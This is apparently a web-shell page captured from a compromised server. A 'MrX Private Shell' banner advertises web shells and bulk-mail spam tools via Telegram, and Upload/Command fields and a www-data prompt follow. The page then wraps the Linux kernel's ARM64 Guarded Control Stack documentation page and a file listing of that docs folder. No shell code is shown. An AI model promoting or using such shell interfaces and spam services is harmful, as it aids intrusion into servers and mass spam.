__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.28: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Guarded Control Stack support for AArch64 Linux &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="HugeTLBpage on ARM64" href="hugetlbpage.html" />
    <link rel="prev" title="ARM64 ELF hwcaps" href="elf_hwcaps.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="../index.html">CPU architectures</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../arc/index.html">ARC architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm/index.html">ARM Architecture</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="index.html">ARM64 Architecture</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="acpi_object_usage.html">ACPI Tables</a></li>
<li class="toctree-l3"><a class="reference internal" href="amu.html">Activity Monitors Unit (AMU) extension in AArch64 Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="arm-acpi.html">ACPI on Arm systems</a></li>
<li class="toctree-l3"><a class="reference internal" href="arm-cca.html">Arm Confidential Compute Architecture</a></li>
<li class="toctree-l3"><a class="reference internal" href="asymmetric-32bit.html">Asymmetric 32-bit SoCs</a></li>
<li class="toctree-l3"><a class="reference internal" href="booting.html">Booting AArch64 Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="cpu-feature-registers.html">ARM64 CPU Feature Registers</a></li>
<li class="toctree-l3"><a class="reference internal" href="cpu-hotplug.html">CPU Hotplug and ACPI</a></li>
<li class="toctree-l3"><a class="reference internal" href="elf_hwcaps.html">ARM64 ELF hwcaps</a></li>
<li class="toctree-l3 current"><a class="current reference internal" href="#">Guarded Control Stack support for AArch64 Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="hugetlbpage.html">HugeTLBpage on ARM64</a></li>
<li class="toctree-l3"><a class="reference internal" href="kdump.html">crashkernel memory reservation on arm64</a></li>
<li class="toctree-l3"><a class="reference internal" href="legacy_instructions.html">Legacy instructions</a></li>
<li class="toctree-l3"><a class="reference internal" href="memory.html">Memory Layout on AArch64 Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="memory-tagging-extension.html">Memory Tagging Extension (MTE) in AArch64 Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="mops.html">Memory copy/set instructions (MOPS)</a></li>
<li class="toctree-l3"><a class="reference internal" href="perf.html">Perf</a></li>
<li class="toctree-l3"><a class="reference internal" href="pointer-authentication.html">Pointer authentication in AArch64 Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="ptdump.html">Kernel page table dump</a></li>
<li class="toctree-l3"><a class="reference internal" href="silicon-errata.html">Silicon Errata and Software Workarounds</a></li>
<li class="toctree-l3"><a class="reference internal" href="sme.html">Scalable Matrix Extension support for AArch64 Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="sve.html">Scalable Vector Extension support for AArch64 Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="tagged-address-abi.html">AArch64 TAGGED ADDRESS ABI</a></li>
<li class="toctree-l3"><a class="reference internal" href="tagged-pointers.html">Tagged virtual addresses in AArch64 Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="features.html">Feature status on arm64 architecture</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../loongarch/index.html">LoongArch Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../m68k/index.html">m68k Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../mips/index.html">MIPS-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../nios2/index.html">Nios II Specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../openrisc/index.html">OpenRISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../parisc/index.html">PA-RISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../powerpc/index.html">powerpc</a></li>
<li class="toctree-l2"><a class="reference internal" href="../riscv/index.html">RISC-V architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../s390/index.html">s390 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sh/index.html">SuperH Interfaces Guide</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sparc/index.html">Sparc Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../x86/index.html">x86-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../xtensa/index.html">Xtensa Architecture</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/arch/arm64/gcs.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="guarded-control-stack-support-for-aarch64-linux">
<h1>Guarded Control Stack support for AArch64 Linux<a class="headerlink" href="#guarded-control-stack-support-for-aarch64-linux" title="Link to this heading">¶</a></h1>
<p>This document outlines briefly the interface provided to userspace by Linux in
order to support use of the ARM Guarded Control Stack (GCS) feature.</p>
<p>This is an outline of the most important features and issues only and not
intended to be exhaustive.</p>
<section id="general">
<h2>1.  General<a class="headerlink" href="#general" title="Link to this heading">¶</a></h2>
<ul class="simple">
<li><p>GCS is an architecture feature intended to provide greater protection
against return oriented programming (ROP) attacks and to simplify the
implementation of features that need to collect stack traces such as
profiling.</p></li>
<li><p>When GCS is enabled a separate guarded control stack is maintained by the
PE which is writeable only through specific GCS operations.  This
stores the call stack only, when a procedure call instruction is
performed the current PC is pushed onto the GCS and on RET the
address in the LR is verified against that on the top of the GCS.</p></li>
<li><p>When active the current GCS pointer is stored in the system register
GCSPR_EL0.  This is readable by userspace but can only be updated
via specific GCS instructions.</p></li>
<li><p>The architecture provides instructions for switching between guarded
control stacks with checks to ensure that the new stack is a valid
target for switching.</p></li>
<li><p>The functionality of GCS is similar to that provided by the x86 Shadow
Stack feature, due to sharing of userspace interfaces the ABI refers to
shadow stacks rather than GCS.</p></li>
<li><p>Support for GCS is reported to userspace via HWCAP_GCS in the aux vector
AT_HWCAP entry.</p></li>
<li><p>GCS is enabled per thread.  While there is support for disabling GCS
at runtime this should be done with great care.</p></li>
<li><p>GCS memory access faults are reported as normal memory access faults.</p></li>
<li><p>GCS specific errors (those reported with EC 0x2d) will be reported as
SIGSEGV with a si_code of SEGV_CPERR (control protection error).</p></li>
<li><p>GCS is supported only for AArch64.</p></li>
<li><p>On systems where GCS is supported GCSPR_EL0 is always readable by EL0
regardless of the GCS configuration for the thread.</p></li>
<li><p>The architecture supports enabling GCS without verifying that return values
in LR match those in the GCS, the LR will be ignored.  This is not supported
by Linux.</p></li>
</ul>
</section>
<section id="enabling-and-disabling-guarded-control-stacks">
<h2>2.  Enabling and disabling Guarded Control Stacks<a class="headerlink" href="#enabling-and-disabling-guarded-control-stacks" title="Link to this heading">¶</a></h2>
<ul class="simple">
<li><p>GCS is enabled and disabled for a thread via the PR_SET_SHADOW_STACK_STATUS
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">prctl()</span></code>, this takes a single flags argument specifying which GCS features
should be used.</p></li>
<li><p>When set PR_SHADOW_STACK_ENABLE flag allocates a Guarded Control Stack
and enables GCS for the thread, enabling the functionality controlled by
GCSCRE0_EL1.{nTR, RVCHKEN, PCRSEL}.</p></li>
<li><p>When set the PR_SHADOW_STACK_PUSH flag enables the functionality controlled
by GCSCRE0_EL1.PUSHMEn, allowing explicit GCS pushes.</p></li>
<li><p>When set the PR_SHADOW_STACK_WRITE flag enables the functionality controlled
by GCSCRE0_EL1.STREn, allowing explicit stores to the Guarded Control Stack.</p></li>
<li><p>Any unknown flags will cause PR_SET_SHADOW_STACK_STATUS to return -EINVAL.</p></li>
<li><p>PR_LOCK_SHADOW_STACK_STATUS is passed a bitmask of features with the same
values as used for PR_SET_SHADOW_STACK_STATUS.  Any future changes to the
status of the specified GCS mode bits will be rejected.</p></li>
<li><p>PR_LOCK_SHADOW_STACK_STATUS allows any bit to be locked, this allows
userspace to prevent changes to any future features.</p></li>
<li><p>There is no support for a process to remove a lock that has been set for
it.</p></li>
<li><p>PR_SET_SHADOW_STACK_STATUS and PR_LOCK_SHADOW_STACK_STATUS affect only the
thread that called them, any other running threads will be unaffected.</p></li>
<li><p>New threads inherit the GCS configuration of the thread that created them.</p></li>
<li><p>GCS is disabled on <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">exec()</span></code>.</p></li>
<li><p>The current GCS configuration for a thread may be read with the
PR_GET_SHADOW_STACK_STATUS <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">prctl()</span></code>, this returns the same flags that
are passed to PR_SET_SHADOW_STACK_STATUS.</p></li>
<li><p>If GCS is disabled for a thread after having previously been enabled then
the stack will remain allocated for the lifetime of the thread.  At present
any attempt to reenable GCS for the thread will be rejected, this may be
revisited in future.</p></li>
<li><p>It should be noted that since enabling GCS will result in GCS becoming
active immediately it is not normally possible to return from the function
that invoked the <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">prctl()</span></code> that enabled GCS.  It is expected that the normal
usage will be that GCS is enabled very early in execution of a program.</p></li>
</ul>
</section>
<section id="allocation-of-guarded-control-stacks">
<h2>3.  Allocation of Guarded Control Stacks<a class="headerlink" href="#allocation-of-guarded-control-stacks" title="Link to this heading">¶</a></h2>
<ul class="simple">
<li><p>When GCS is enabled for a thread a new Guarded Control Stack will be
allocated for it of half the standard stack size or 2 gigabytes,
whichever is smaller.</p></li>
<li><p>When a new thread is created by a thread which has GCS enabled then a
new Guarded Control Stack will be allocated for the new thread with
half the size of the standard stack.</p></li>
<li><p>When a stack is allocated by enabling GCS or during thread creation then
the top 8 bytes of the stack will be initialised to 0 and GCSPR_EL0 will
be set to point to the address of this 0 value, this can be used to
detect the top of the stack.</p></li>
<li><p>Additional Guarded Control Stacks can be allocated using the
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">map_shadow_stack()</span></code> system call.</p></li>
<li><p>Stacks allocated using <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">map_shadow_stack()</span></code> can optionally have an end of
stack marker and cap placed at the top of the stack.  If the flag
SHADOW_STACK_SET_TOKEN is specified a cap will be placed on the stack,
if SHADOW_STACK_SET_MARKER is not specified the cap will be the top 8
bytes of the stack and if it is specified then the cap will be the next
8 bytes.  While specifying just SHADOW_STACK_SET_MARKER by itself is
valid since the marker is all bits 0 it has no observable effect.</p></li>
<li><p>Stacks allocated using <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">map_shadow_stack()</span></code> must have a size which is a
multiple of 8 bytes larger than 8 bytes and must be 8 bytes aligned.</p></li>
<li><p>An address can be specified to <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">map_shadow_stack()</span></code>, if one is provided then
it must be aligned to a page boundary.</p></li>
<li><p>When a thread is freed the Guarded Control Stack initially allocated for
that thread will be freed.  Note carefully that if the stack has been
switched this may not be the stack currently in use by the thread.</p></li>
</ul>
</section>
<section id="signal-handling">
<h2>4.  Signal handling<a class="headerlink" href="#signal-handling" title="Link to this heading">¶</a></h2>
<ul class="simple">
<li><p>A new signal frame record gcs_context encodes the current GCS mode and
pointer for the interrupted context on signal delivery.  This will always
be present on systems that support GCS.</p></li>
<li><p>The record contains a flag field which reports the current GCS configuration
for the interrupted context as PR_GET_SHADOW_STACK_STATUS would.</p></li>
<li><p>The signal handler is run with the same GCS configuration as the interrupted
context.</p></li>
<li><p>When GCS is enabled for the interrupted thread a signal handling specific
GCS cap token will be written to the GCS, this is an architectural GCS cap
with the token type (bits 0..11) all clear.  The GCSPR_EL0 reported in the
signal frame will point to this cap token.</p></li>
<li><p>The signal handler will use the same GCS as the interrupted context.</p></li>
<li><p>When GCS is enabled on signal entry a frame with the address of the signal
return handler will be pushed onto the GCS, allowing return from the signal
handler via RET as normal.  This will not be reported in the gcs_context in
the signal frame.</p></li>
</ul>
</section>
<section id="signal-return">
<h2>5.  Signal return<a class="headerlink" href="#signal-return" title="Link to this heading">¶</a></h2>
<p>When returning from a signal handler:</p>
<ul class="simple">
<li><p>If there is a gcs_context record in the signal frame then the GCS flags
and GCSPR_EL0 will be restored from that context prior to further
validation.</p></li>
<li><p>If there is no gcs_context record in the signal frame then the GCS
configuration will be unchanged.</p></li>
<li><p>If GCS is enabled on return from a signal handler then GCSPR_EL0 must
point to a valid GCS signal cap record, this will be popped from the
GCS prior to signal return.</p></li>
<li><p>If the GCS configuration is locked when returning from a signal then any
attempt to change the GCS configuration will be treated as an error.  This
is true even if GCS was not enabled prior to signal entry.</p></li>
<li><p>GCS may be disabled via signal return but any attempt to enable GCS via
signal return will be rejected.</p></li>
</ul>
</section>
<section id="ptrace-extensions">
<h2>6.  ptrace extensions<a class="headerlink" href="#ptrace-extensions" title="Link to this heading">¶</a></h2>
<ul class="simple">
<li><p>A new regset NT_ARM_GCS is defined for use with PTRACE_GETREGSET and
PTRACE_SETREGSET.</p></li>
<li><p>The GCS mode, including enable and disable, may be configured via ptrace.
If GCS is enabled via ptrace no new GCS will be allocated for the thread.</p></li>
<li><p>Configuration via ptrace ignores locking of GCS mode bits.</p></li>
</ul>
</section>
<section id="elf-coredump-extensions">
<h2>7.  ELF coredump extensions<a class="headerlink" href="#elf-coredump-extensions" title="Link to this heading">¶</a></h2>
<ul class="simple">
<li><p>NT_ARM_GCS notes will be added to each coredump for each thread of the
dumped process.  The contents will be equivalent to the data that would
have been read if a PTRACE_GETREGSET of the corresponding type were
executed for each thread when the coredump was generated.</p></li>
</ul>
</section>
<section id="proc-extensions">
<h2>8.  /proc extensions<a class="headerlink" href="#proc-extensions" title="Link to this heading">¶</a></h2>
<ul class="simple">
<li><p>Guarded Control Stack pages will include “ss” in their VmFlags in
/proc/&lt;pid&gt;/smaps.</p></li>
</ul>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/arch/arm64/gcs.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
acpi_object_usage.html File 47.72 KB 0644
amu.html File 16.92 KB 0644
arm-acpi.html File 41.97 KB 0644
arm-cca.html File 15.18 KB 0644
asymmetric-32bit.html File 21.36 KB 0644
booting.html File 38.53 KB 0644
cpu-feature-registers.html File 29.31 KB 0644
cpu-hotplug.html File 16.99 KB 0644
elf_hwcaps.html File 27.49 KB 0644
features.html File 20.54 KB 0644
gcs.html File 22.54 KB 0644
hugetlbpage.html File 13.81 KB 0644
index.html File 14.57 KB 0644
kdump.html File 16.01 KB 0644
legacy_instructions.html File 14.82 KB 0644
memory-tagging-extension.html File 47.32 KB 0644
memory.html File 16.77 KB 0644
mops.html File 13.38 KB 0644
perf.html File 23.43 KB 0644
pointer-authentication.html File 18.78 KB 0644
ptdump.html File 18.32 KB 0644
silicon-errata.html File 34.29 KB 0644
sme.html File 33.17 KB 0644
sve.html File 40.03 KB 0644
tagged-address-abi.html File 27.2 KB 0644
tagged-pointers.html File 15.38 KB 0644
Filemanager